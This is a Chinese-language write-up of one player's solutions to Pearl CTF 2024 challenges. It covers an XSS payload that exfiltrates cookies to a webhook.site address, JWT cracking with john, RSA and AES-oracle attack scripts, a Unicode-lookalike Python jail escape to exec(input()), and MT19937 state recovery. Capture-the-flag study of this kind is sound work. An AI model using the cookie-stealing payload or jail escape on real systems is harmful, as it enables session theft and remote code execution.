Pearl CTF 2024 Write Up

Before all

Team : CakeisTheFake
Rank : 16/605
突然被CakeisTheFake的隊友們(Aukro, Naup, Curious)抓去打的比賽,這次一如既往地打Crypto和怪題們(但我比較晚開始打qq)。
這場比較沒學到東西(?),但也幫最近都在練習滲透的我複習了一些CTF技巧,不錯XD
想看強者我隊友的完整Write Up可以到:https://hackmd.io/0-vFgIu-RKeuwQ4gdviB4g?both
這邊就只有放我自己的(?)

Write Up

Web

learn HTTP

題目是一個web service,會把使用者丟進去的get參數在後端處理後變封包丟出來:
image
然後有個/flag的路徑會去驗證你的cookie,是的話才可以拿到flag。
標準的XSS:
payload

1
2
3
HTTP/1.1 200 OK

<script>fetch("http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark="+document.cookie)</script>

變成URL ENCODE後:

1
HTTP/1.1%20200%20OK%0D%0A%0D%0A%3Cscript%3Efetch(%22http://webhook.site/c9e321c1-b9d5-4b55-9d10-f1feec26a1d0?shark=%22%2Bdocument.cookie)%3C/script%3E

在webhook拿到token:
image
token

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNzEwMDM5MjM5fQ.Pd53hD5jGx5GnHGYszpOUK8CjdLN3uUwXITubJrJ_kE

接著將token丟進pass檔案並利用john進行暴力破解:
Command

1
john pass --wordlist=/home/kali/rockyou.txt

image

根據觀察原始碼的結果,必須將id改為2

image

利用jwt.io配合john的結果將token算出來,造訪/flag的路徑。

image
拿到flag XD

Crypto

3 spies

source.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3

from Crypto.Util.number import getPrime, bytes_to_long

with open('flag.txt', 'rb') as f:
flag = f.read()


n1 = getPrime(512)*getPrime(512)
n2 = getPrime(512)*getPrime(512)
n3 = getPrime(512)*getPrime(512)

e=3

m = bytes_to_long(flag)

c1 = pow(m,e,n1)
c2 = pow(m,e,n2)
c3 = pow(m,e,n3)

with open('encrypted-messages.txt', 'w') as f:
f.write(f'n1: {n1}\n')
f.write(f'e: {e}\n')
f.write(f'c1: {c1}\n\n')
f.write(f'n2: {n2}\n')
f.write(f'e: {e}\n')
f.write(f'c2: {c2}\n\n')
f.write(f'n3: {n3}\n')
f.write(f'e: {e}\n')
f.write(f'c3: {c3}\n')

標準的 boardcast attack
直接在sage crt([c1, c2, c3],[n1, n2, n3])算下去再開三次根號就好
image

得到urlhttps://pastes.io/1yjswxlvl2
頁面內容:

image

丟到解碼工具 CyberChef 得到結果是一張圖片檔案,下載後就拿到flagㄌ

image

flag

download

Baby’s Message Out

chall.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
from flag import FLAG
from math import log
import sys

n = pow(10, 5)
sys.setrecursionlimit(n)

def nextPrime(p):
if isPrime(p):
return p
else:
return nextPrime(p + 61)

p = getPrime(256)
q = nextPrime(nextPrime(17*p + 1) + 3)
r = nextPrime(29*p*q)
s = nextPrime(q*r + p)
t = nextPrime(r*s*q)

n = p*q*r*s*t
e = 65537
m = bytes_to_long(FLAG.encode())
c = pow(m, e, n)
print(f"c: {c}")
print(f"n: {n}")

簡單觀察, $n$ 會很接近 $ p*[(17*p)*(17*29*p^2)*(17^2*29*p^3+p)]^2 $
丟sage math:

1
2
3
4
sage: P.<p>=PolynomialRing(Zmod(2**1000))
sage: f=p*((17*p)*(17*29*p^2)*(17^2*29*p^3+p))^2
sage: f
4933820698627921*p^13 + 1177382340682*p^11 + 70241161*p^9

所以 $ p^{13} \fallingdotseq \frac{n}{4933820698627921} $

撰寫腳本取逼近,成功得到$p$的值

1
2
3
4
5
6
7
8
sage: ps=int(iroot(n//4933820698627921, 13)[0])
sage: for i in range(100000):
....: if n%(ps-i)==0:
....: p=ps-i
....: break
....:
sage: p
99882362437773265966124030773296517807358944792642701044820437308947621061961

按照題目提供的函數算回去q, r, s, t
image
成功拿到flag :D

Security++

其實就是典型的Prepend Oracle…,但不知道為什麼做出來的人那麼少(
secure.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flag import flag, key
from base64 import b64encode
from enc import encrypt_block, pad


def encrypt(data: bytes):
pt = data + flag
pt = pad(pt)
block_count = len(pt) // 16
encText = b''
for i in range(block_count):
if i % 2 == 0:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[0:16])
else:
encText += encrypt_block(pt[i * 16:i * 16 + 16], key[16:])
return encText


def main():
while 1:
msg = input("\nEnter plaintext: ").strip()
res = encrypt(msg.encode())
print(b64encode(res).decode())


if __name__ == '__main__':
main()

enc.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from copy import copy

s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)


def bytes2matrix(text):
return [list(text[i:i + 4]) for i in range(0, len(text), 4)]


def matrix2bytes(m):
plaintext = b''
for row in range(4):
for j in range(4):
plaintext += chr(m[row][j]).encode('latin-1')
return plaintext


def pad(text: bytes):
if len(text) % 16 != 0:
pad_len = ((len(text) // 16) + 1) * 16 - len(text)
else:
pad_len = 0
text = text.ljust(len(text) + pad_len, b'.')
return text


def sub_bytes(state, sbox):
for i in range(len(state)):
for j in range(4):
state[i][j] = sbox[state[i][j]]
return state


def shift_rows(s):
s[1][0], s[1][1], s[1][2], s[1][3] = s[1][1], s[1][2], s[1][3], s[1][0]
s[2][0], s[2][1], s[2][2], s[2][3] = s[2][2], s[2][3], s[2][0], s[2][1]
s[3][0], s[3][1], s[3][2], s[3][3] = s[3][3], s[3][0], s[3][1], s[3][2]
return s


def gmul(a, b):
if b == 1:
return a
tmp = (a << 1) & 0xff
if b == 2:
return tmp if a < 128 else tmp ^ 0x1b
if b == 3:
return gmul(a, 2) ^ a


def mix_col(col):
temp = copy(col)
col[0] = gmul(temp[0], 2) ^ gmul(temp[1], 3) ^ gmul(temp[2], 1) ^ gmul(temp[3], 1)
col[1] = gmul(temp[0], 1) ^ gmul(temp[1], 2) ^ gmul(temp[2], 3) ^ gmul(temp[3], 1)
col[2] = gmul(temp[0], 1) ^ gmul(temp[1], 1) ^ gmul(temp[2], 2) ^ gmul(temp[3], 3)
col[3] = gmul(temp[0], 3) ^ gmul(temp[1], 1) ^ gmul(temp[2], 1) ^ gmul(temp[3], 2)
return col


def add_round_key(state, round_key):
for i in range(len(state)):
for j in range(len(state[0])):
state[i][j] = state[i][j] ^ round_key[i][j]
return state


def encrypt_block(ptext: bytes, key):
cipher = ptext
rkey = bytes2matrix(key)

for i in range(10):
ctext = bytes2matrix(cipher)
ctext = sub_bytes(ctext, s_box)
ctext = shift_rows(ctext)
temp = copy(ctext)
for j in range(4):
column = [temp[0][j], temp[1][j], temp[2][j], temp[3][j]]
column = mix_col(column)
for k in range(4):
ctext[k][j] = column[k]
ctext = add_round_key(ctext, rkey)
cipher = matrix2bytes(ctext)
return cipher

簡單來說,每16 BYTES一個塊,然後會把FLAG丟到你給的訊息最後面再加密,那不就是 Prepend Oracle 🫠
solution.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from base64 import *
r=remote('dyn.ctf.pearlctf.in', 30015)
flag=b''
def oracle(data):
s=r.recvuntil(b': ')
# print(s)
r.sendline(data)
s=r.recvuntil(b'\n').decode()
# print(s)
# print(b64decode(s))
return b64decode(s)

for i in range(32):
padding=b'A'*(32-1-i)
test=oracle(padding)
for c in string.printable:
if oracle(padding+flag+c.encode())[:32]==test[:32]:
# print(test)
# print(oracle(padding+flag+c.encode()))
flag=flag+c.encode()
print(flag, i)
break

搞定XD

image

Miscellaneous

b4by_jail

jail.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/local/bin/python
import time
flag="pearl{f4k3_fl4g}"
blacklist=list("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~`![]{},<>/123456789")
def banner():
file=open("txt.txt","r").read()
print(file)
def check_blocklist(string):
for i in string:
if i in blacklist:
return(0)
return(1)
def main():
banner()
cmd=input(">>> ")
time.sleep(1)
if(check_blocklist(cmd)):
try:
print(eval(cmd))
except:
print("Sorry no valid output to show.")
else:
print("Your sentence has been increased by 2 years for attempted escape.")

main()

直接找UNICODE字元繞過檢查但是python還是會執行XD
payload

1
𝑓𝑙𝑎𝘨

image

後續:

1
2
3
4
5
6
def attack(x):
r=remote('dyn.ctf.pearlctf.in', 30017)
s=r.recv()
r.sendline('𝑒𝑥𝑒𝑐(𝑖𝑛𝑝𝑢𝑡())') ; r.sendline(x)
print(r.recv())
r.close()

透過這個去做RCE XD

TooRandom

main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask
from flask import render_template
from flask import redirect
from flask import request

import random

app = Flask(__name__)
app.secret_key = "secret_key"

seed = random.getrandbits(32)
random.seed(seed)
flag_no = None

def generate_user_ids():
global flag_no
random_numbers = []
for i in range(1000000):
random_number = random.getrandbits(32)
random_numbers.append(random_number)
flag_no = random_numbers[-1]
print(flag_no)
st_id = 624
end_id = 999999
del random_numbers[st_id:end_id]
return random_numbers

user_ids = generate_user_ids()
j = 0

@app.route('/')
def home():
return redirect('/dashboard')

@app.route('/dashboard', methods=['GET', 'POST'])
def dashboard():
global j
id_no = user_ids[j%624]
j += 1
if request.method == 'POST':
number = int(request.form['number'])
if number == flag_no:
return redirect('/flagkeeper')
else:
return redirect('/wrongnumber')
return render_template('dashboard.html', number=id_no)

@app.route('/flagkeeper')
def flagkeeper_dashboard():
return render_template('flag_keeper.html', user_id=flag_no)

@app.route('/wrongnumber')
def wrong_number():
return render_template('wrong_number.html')

if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0")

觀察結構,大概就是你會拿到624個數字,然後你要推出一開始的種子算出來的第1000000個數字是什麼。
此外,這題是以instance的方式出現,也就是說每個隊伍各自獨立的網站而且可以自由開啟和關閉。
馬上開啟後叫隊友不要打最重要
為什麼這樣說呢?因為有個Curious那時候跟我同時在打,場面一度尷尬極了(
解法的話因為624個數字(還都是32 bits,超佛心),剛好就直接MT-19937的crack就好。
腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests as req
import random
from tqdm import *
front='<!DOCTYPE html>\n<html lang="en">\n<head>\n <meta charset="UTF-8">\n <meta name="viewport" content="width=device-width, initial-scale=1.0">\n <title>Dashboard</title>\n <style>\n body {\n font-family: Arial, sans-serif;\n background-color: #f7f7f7;\n margin: 0;\n padding: 0;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100vh;\n }\n\n .container {\n background-color: #fff;\n padding: 20px;\n border-radius: 8px;\n box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);\n }\n\n h1 {\n color: #333;\n margin-bottom: 20px;\n text-align: center;\n }\n\n form {\n display: flex;\n flex-direction: column;\n align-items: center;\n }\n\n label {\n font-size: 18px;\n color: #555;\n margin-bottom: 10px;\n }\n\n input[type="text"] {\n width: 100%;\n padding: 10px;\n font-size: 16px;\n border: 1px solid #ccc;\n border-radius: 4px;\n margin-bottom: 20px;\n box-sizing: border-box;\n }\n\n button {\n padding: 10px 20px;\n font-size: 16px;\n background-color: #4caf50;\n color: white;\n border: none;\n border-radius: 4px;\n cursor: pointer;\n transition: background-color 0.3s;\n }\n\n button:hover {\n background-color: #45a049;\n }\n </style>\n</head>\n<body>\n <div class="container">\n <h1>Welcome, player!!</h1>\n <h2>Number : '
foot='</h2>\n <form action="/dashboard" method="POST">\n <label for="number">Enter Number:</label> \n <input type="text" id="number" name="number" required><br> \n <button type="submit">Submit</button>\n </form>\n </div>\n</body>\n</html>'
url='https://toorandom-3612d37548e5ed9d.ctf.pearlctf.in/dashboard'
def untemper(rand):
rand ^= rand >> 18
rand ^= (rand << 15) & 0xefc60000
a = rand ^ ((rand << 7) & 0x9d2c5680)
b = rand ^ ((a << 7) & 0x9d2c5680)
c = rand ^ ((b << 7) & 0x9d2c5680)
d = rand ^ ((c << 7) & 0x9d2c5680)
rand = rand ^ ((d << 7) & 0x9d2c5680)
rand ^= ((rand ^ (rand >> 11)) >> 11)
return rand

state=[]
for i in tqdm(range(624)):
web=req.get(url)
cur=web.text.replace(front, '').replace(foot, '')
state.append(int(cur))

#print(state)
for i in range(624):
state[i]=untemper(state[i])

state.append(624)
random.setstate([3, tuple(state), None])
for i in range(1000000-624):
x=random.getrandbits(32)
if i==1000000-624-1:
print(x)

image

附上很傷眼睛的登入結果

image

恩…我睡前就看著這東西(